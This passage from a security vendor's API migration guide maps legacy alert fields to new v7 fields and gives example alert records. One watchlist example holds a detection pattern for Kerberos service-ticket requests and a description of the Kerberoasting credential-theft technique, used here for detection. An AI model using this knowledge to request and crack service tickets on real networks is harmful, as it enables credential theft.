        "k8s_pod_name":"ama-logs-gm5tt",
        "k8s_policy_id":"2e5170e7-2665-49d2-829e-f5bdeefe6b06",
        "k8s_policy":"Big runtime policy",
        "k8s_rule_id":"f8b1637a-dc0c-49bb-bc28-5b48f97e6d58",
        "k8s_rule":"Allowed public destinations",
        "connection_type":"EGRESS",
        "egress_group_id":"",
        "egress_group_name":"",
        "ip_reputation":96,
        "remote_is_private":false
    }

Device Control

Removed and Substituted Fields

Legacy Field New Field
external_device_id device_id
policy_id device_policy_id
threat_cause_threat_category DEPRECATED
threat_cause_vector DEPRECATED

Host Based Firewall

Removed and Substituted Fields

Legacy Field New Field
policy_id device_policy_id
threat_cause_actor_name process_name
threat_cause_actor_sha256 process_sha256
threat_cause_cause_event_id primary_event_id
threat_cause_actor_process_pid DEPRECATED - use process_pid. Values will differ.
threat_cause_reputation process_reputation
threat_cause_threat_category DEPRECATED

New Fields - Host Based Firewall

  • rule_category_id
  • rule_config_category
  • rule_config_id
  • rule_config_name

Watchlist

Removed and Substituted Fields

Legacy Field New Field
classification ml_classification_final_verdict
count DEPRECATED
document_guid DEPRECATED
global_prevalence ml_classification_global_prevalence
ml_classification_final_verdict alert_classification.classification
ml_classification_global_prevalence alert_classification.global_prevalence
ml_classification_org_prevalence alert_classification.org_prevalence
org_prevalence ml_classification_org_prevalence
policy_id device_policy_id
threat_cause_actor_md5 process_md5
threat_cause_actor_name process_name
threat_cause_actor_sha256 process_sha256
threat_cause_reputation process_reputation
threat_cause_threat_category DEPRECATED
threat_cause_vector DEPRECATED
threat_indicators DEPRECATED
user_feedback determination
watchlists watchlists.id, watchlists.name

New Fields - Watchlist

  • attack_tactic
  • attack_technique
  • report_description
  • report_link
  • report_tags

Examples

    {
        "type":"WATCHLIST",
        "id":"3d80bd8b-7770-40a7-8d6b-8268fb15c59f",
        "legacy_alert_id":"3d80bd8b-7770-40a7-8d6b-8268fb15c59f",
        "org_key":"ABCD1234",
        "create_time":"2023-07-17T17:21:34.063Z",
        "last_update_time":"2023-07-17T17:21:34.063Z",
        "first_event_time":"2023-07-17T17:19:00.412Z",
        "last_event_time":"2023-07-17T17:19:00.412Z",
        "threat_id":"CF4E6DE74AA8B188C0346A54FDEA940C",
        "severity":10,
        "category":"THREAT",
        "device_id":5890528,
        "device_os":"WINDOWS",
        "device_os_version":"Windows 11 x64",
        "device_name":"demodevice",
        "device_username":"Test-Win11",
        "policy_name":"default",
        "target_value":"MEDIUM",
        "workflow":{
            "state":"OPEN",
            "remediation":null,
            "last_update_time":"2023-07-17T17:21:34.063Z",
            "comment":null,
            "changed_by":"ALERT_CREATION"
        },
        "notes_present":false,
        "tags":null,
        "policy_id":6525,
        "reason":"Process powershell.exe was detected by the report \"Credential Access - AMSI - Suspect Kerberos Ticket Request Behavior\" in watchlist \"AMSI Threat Intelligence\"",
        "count":0,
        "report_id":"LrKOC7DtQbm4g8w0UFruQg-b1c1ae83-f66b-4aa3-a496-363e296f4018",
        "report_name":"Credential Access - AMSI - Suspect Kerberos Ticket Request Behavior",
        "ioc_id":"b1c1ae83-f66b-4aa3-a496-363e296f4018",
        "ioc_field":null,
        "ioc_hit":"fileless_scriptload_cmdline:\"System.IdentityModel.Tokens.KerberosRequestorSecurityToken\" OR scriptload_content:\"System.IdentityModel.Tokens.KerberosRequestorSecurityToken\"",
        "watchlists":[{
            "id":"Ci7w5B4URg6HN60hatQMQ",
            "name":"AMSI Threat Intelligence"
        }],
        "process_guid":"ABCD1234-0059e1e0-00003544-00000000-1d9b8db27a4d423",
        "process_name":"powershell.exe",
        "run_state":"RAN",
        "threat_indicators":[{
            "process_name":"powershell.exe",
            "sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd",
            "ttps":["b1c1ae83-f66b-4aa3-a496-363e296f4018"]
        }],
        "threat_cause_actor_sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd",
        "threat_cause_actor_md5":"0499440c4b0783266183246e384c6657",
        "threat_cause_actor_name":"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe",
        "threat_cause_reputation":"TRUSTED_WHITE_LIST",
        "threat_cause_threat_category":"UNKNOWN",
        "threat_cause_vector":"UNKNOWN",
        "document_guid":"24nwP4L_TxyP01D2jYJp3A",
        "type":"WATCHLIST",
        "alert_classification":{
            "classification":"TRUE_POSITIVE",
            "user_feedback":"NO_PREDICTION",
            "global_prevalence":"MEDIUM",
            "org_prevalence":"LOW",
            "asset_risk":"UNKNOWN"
        }
    }
    
    {
        "org_key":"ABCD1234",
        "alert_url":"defense.conferdeploy.net/alerts?s[c][query_string]=id:3d80bd8b-7770-40a7-8d6b-8268fb15c59f&orgKey=ABCD1234",
        "id":"3d80bd8b-7770-40a7-8d6b-8268fb15c59f",
        "type":"WATCHLIST",
        "backend_timestamp":"2023-07-17T17:21:34.063Z",
        "user_update_timestamp":null,
        "backend_update_timestamp":"2023-07-17T17:21:34.063Z",
        "detection_timestamp":"2023-07-17T17:21:13.483Z",
        "first_event_timestamp":"2023-07-17T17:19:00.412Z",
        "last_event_timestamp":"2023-07-17T17:19:00.412Z",
        "severity":10,
        "reason":"Process powershell.exe was detected by the report \"Credential Access - AMSI - Suspect Kerberos Ticket Request Behavior\" in watchlist \"AMSI Threat Intelligence\"",
        "reason_code":"cf4e6de7-4aa8-3188-8034-6a54fdea940c:e17d957d-b504-3462-816c-f182fe1d80ab",
        "threat_id":"CF4E6DE74AA8B188C0346A54FDEA940C",
        "primary_event_id":"VUX7Bu7vTrWwnU8-uSVh1A-0",
        "policy_applied":"NOT_APPLIED",
        "run_state":"RAN",
        "sensor_action":"ALLOW",
        "workflow":{
            "change_timestamp":"2023-07-17T17:21:34.063Z",
            "changed_by_type":"SYSTEM",
            "changed_by":"ALERT_CREATION",
            "closure_reason":"NO_REASON",
            "status":"OPEN"
        },
        "determination":{
            "change_timestamp":"2023-07-17T17:21:34.063Z",
            "value":"NONE",
            "changed_by_type":null,
            "changed_by":null
        },
        "tags":null,
        "alert_notes_present":false,
        "threat_notes_present":false,
        "is_updated":false,
        "device_id":5890528,
        "device_name":"demodevice",
        "device_uem_id":"596B6C4DD49AEF4AB3713363DDBB1F11",
        "device_target_value":"MEDIUM",
        "device_policy":"default",
        "device_policy_id":6525,
        "device_os":"WINDOWS",
        "device_os_version":"Windows 11 x64",
        "device_username":"Test-Win11",
        "device_location":"UNKNOWN",
        "device_external_ip":"1.2.3.4",
        "device_internal_ip":"4.3.2.1",
        "mdr_alert":false,
        "mdr_alert_notes_present":false,
        "mdr_threat_notes_present":false,
        "report_id":"LrKOC7DtQbm4g8w0UFruQg-b1c1ae83-f66b-4aa3-a496-363e296f4018",
        "report_name":"Credential Access - AMSI - Suspect Kerberos Ticket Request Behavior",
        "report_description":"Service accounts in Windows Active Directory environments have the ability to register under an AD security principle (user or computer) as a (SPN) Service Principal Name. The SPN registration allows for kerberos clients to request a kerberos service ticket associated with the service account SPN. This kerberos TGS is encrypted using the service accounts password. If a weak password is assigned to this service account an attacker can make an out of band request for one of these kerberos service tickets and crack it offline with tools like Jack the Ripper. This detection looks for fileless behaviors related to the out of band kerberos ticket request. If you are responding to this alert you should take immediate action and look at the process that alerted on this behavior as well as the other fileless script loads events.",
        "report_tags":[
            "credentialaccess",
            "t1558",
            "windows",
            "amsi",
            "attack",
            "attackframework"
        ],
        "report_link":"https://attack.mitre.org/techniques/T1558/003/",
        "ioc_id":"b1c1ae83-f66b-4aa3-a496-363e296f4018",
        "ioc_hit":"fileless_scriptload_cmdline:\"System.IdentityModel.Tokens.KerberosRequestorSecurityToken\" OR scriptload_content:\"System.IdentityModel.Tokens.KerberosRequestorSecurityToken\"",
        "watchlists":[{
            "id":"Ci7w5B4URg6HN60hatQMQ",
            "name":"AMSI Threat Intelligence"
        }],
        "process_guid":"ABCD1234-0059e1e0-00003544-00000000-1d9b8db27a4d423",
        "process_pid":13636,
        "process_name":"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe",
        "process_sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd",
        "process_md5":"0499440c4b0783266183246e384c6657",
        "process_effective_reputation":"TRUSTED_WHITE_LIST",
        "process_reputation":"TRUSTED_WHITE_LIST",
        "process_cmdline":"powershell.exe -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -",
        "process_username":"NT AUTHORITY\\SYSTEM",
        "process_issuer":["Microsoft Windows Production PCA 2011"],
        "process_publisher":["Microsoft Windows"],
        "parent_guid":"ABCD1234-0059e1e0-00002890-00000000-1d9a898aa24acc9",
        "parent_pid":10384,
        "parent_name":"c:\\program files\\demo\\sample\\myscript.exe",
        "parent_sha256":"4ab2c4932e01ab8460bd8bff5afb0c76e9e238c10ce47515be40c49f652d0282",
        "parent_md5":"c7e583681f0958d4f5d32afd09d8084b",
        "parent_effective_reputation":"NOT_LISTED",
        "parent_reputation":"NOT_LISTED",
        "parent_cmdline":"\"C:\\Program Files\\demo\\sample\\myscript.exe\" ",
        "parent_username":"NT AUTHORITY\\SYSTEM",
        "childproc_guid":"",
        "childproc_username":"",
        "childproc_cmdline":"",
        "ml_classification_final_verdict":"ANOMALOUS",
        "ml_classification_global_prevalence":"MEDIUM",
        "ml_classification_org_prevalence":"LOW"
    }

XDR

The Alerts v7 API includes the new Alert type “Intrusion Detection System” available with the XDR feature. Other alert types will be added in the future. See the Alert Search Fields for details on the data available.

Facet Term Changes

The following table contains the fields to be substituted for facet terms when migrating the Facet Alerts routes from v6 to v7.

Many new fields are available for use as Facet terms and can be found on the Alert Search Fields page by filtering the Alert Type column for “Facet”.


Base Alert

Legacy Facet Term New Facet Term Note
alert_type type CB_ANALYTICS, WATCHLIST, etc.
category DEPRECATED In Alerts v7, only records with the category THREAT are returned.
reputation DEPRECATED There are several alternative reputation fields that can be used, such as process_reputation.
workflow DEPRECATED New fields are available to analyse the updated Alert Closure workflow; WORKFLOW_STATUS, WORKFLOW_CHANGED_BY_TYPE, WORKFLOW_CHANGED_BY_AUTOCLOSE_RULE_ID
tag TAGS
policy_id DEPRECATED Use DEVICE_POLICY to facet on the name of the policy.
policy_name device_policy
device_id device_id No change
device_name device_name No change
application_hash process_sha256 Other hashes such as PARENT_SHA256 are also available
application_name process_name
run_state run_state No change
policy_applied policy_applied No change
sensor_action sensor_action No change

Additional Fields Available for CONTAINER_RUNTIME Alerts

Legacy Term New Term
cluster_name k8s_cluster
namespace k8s_namespace
workload_name k8s_workload_name

Carbon Black Cloud Python SDK Migration

Note: Updated November 17, 2023

Carbon Black Cloud Python SDK 1.5.0 was released on October 24, 2023, with support for Alerts v7 API.

The Alert Migration Guide to update to SDK 1.5.0 from earlier versions is on Read The Docs.


Give Feedback

New survey coming soon!


Last modified on October 16, 2023